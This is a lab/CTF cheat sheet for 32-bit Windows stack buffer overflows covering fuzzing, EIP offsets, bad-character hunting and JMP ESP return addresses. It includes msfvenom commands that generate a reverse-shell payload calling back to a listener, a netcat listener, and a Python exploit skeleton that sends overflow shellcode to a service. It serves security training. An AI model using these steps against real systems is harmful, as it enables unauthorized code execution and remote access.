Stack-Based Buffer Overflow (Win x86)
Classic 32-bit Windows stack overflow workflow. Based on the HTB Academy module cheat sheet, with tooling for both Immunity Debugger + mona.py and x64dbg + ERC.
For authorized lab/CTF use only. Target software you own or are explicitly permitted to test.
The Five Steps
- Fuzzing — send growing input until the service crashes
- Controlling EIP — find the exact offset that overwrites the return address
- Identifying bad characters — bytes the app mangles, must be excluded from shellcode
- Finding a return instruction — a
JMP ESP(or equivalent) in a non-protected module - Jumping to shellcode — overwrite EIP with that address, land in your payload
General
# RDP to the Windows debugging VM
xfreerdp /v:<target IP> /u:htb-student /p:<password>
# Create a cyclic pattern (Metasploit)
/usr/bin/msf-pattern_create -l 5000
# Find the offset of the value that landed in EIP
/usr/bin/msf-pattern_offset -q 31684630
:: List listening ports on the Windows target
netstat -a | findstr LISTEN
:: Interact with the vulnerable port
.\nc.exe 127.0.0.1 8888
Generating Shellcode (msfvenom)
# Local privesc / command execution payload
msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\x00'
# Reverse shell payload (exclude null + newline bad chars)
msfvenom -p 'windows/shell_reverse_tcp' \
LHOST=10.10.15.10 LPORT=1234 -f 'python' -b '\x00\x0a'
# Catch the reverse shell
nc -lvnp 1234
Note — Always pass every confirmed bad character to
-b. A single unescaped bad byte truncates or corrupts the payload and the exploit fails silently.
Debugger Shortcuts (Immunity)
| Action | Key |
|---|---|
| Open file | F3 |
| Attach to a process | alt+A |
| Go to Logs tab | alt+L |
| Go to Symbols tab | alt+E |
| Search for instruction (current module) | ctrl+f |
| Search for pattern | ctrl+b |
| Search all loaded modules for instruction | Search For > All Modules > Command |
| Search all loaded modules for pattern | Search For > All Modules > Pattern |
ERC (x64dbg plugin)
# Set working directory for output files
ERC --config SetWorkingDirectory C:\Users\htb-student\Desktop\
# Create a cyclic pattern
ERC --pattern c 5000
# Find pattern offset from the value in EIP
ERC --pattern o 1hF0
# Generate a full byte array (all 256 bytes)
ERC --bytearray
# Byte array excluding known bad bytes
ERC --bytearray -bytes 0x00
# Compare in-memory bytes against a byte-array file (bad-char hunting)
ERC --compare 0014F974 C:\Users\htb-student\Desktop\ByteArray_1.bin
# List loaded modules and their memory protections (find a JMP ESP module)
ERC --ModuleInfo
Note — Pick a return address from a module with no ASLR, no DEP, no SafeSEH and whose address contains none of your bad characters.
ERC --ModuleInfo(or mona’s!mona modules) shows the protections.
Python Exploit Skeleton
#!/usr/bin/env python3
import socket
target = "127.0.0.1"
port = 8888
offset = 0 # from step 2 (pattern_offset)
eip = b"\x00\x00\x00\x00" # JMP ESP address, little-endian
nops = b"\x90" * 16 # NOP sled
shellcode = b"" # from msfvenom (bad chars excluded)
buf = b"A" * offset + eip + nops + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(buf + b"\r\n")
s.close()
# Quick fuzzing payloads
python -c "print('A'*10000)"
python -c "print('A'*10000, file=open('fuzz.wav', 'w'))"
Debugging the exploit script itself:
breakpoint() # drop into pdb at this line
# 'c' to continue from the breakpoint
Workflow Summary
| Step | Goal | Tooling |
|---|---|---|
| Fuzz | Crash the service | growing A*N payloads |
| Offset | Control EIP | msf-pattern_create / ERC --pattern c, then _offset / --pattern o |
| Bad chars | Clean shellcode | byte-array compare in the debugger |
| Return addr | Reliable jump | JMP ESP in an unprotected module |
| Shellcode | Get code exec | msfvenom -b '<bad chars>' |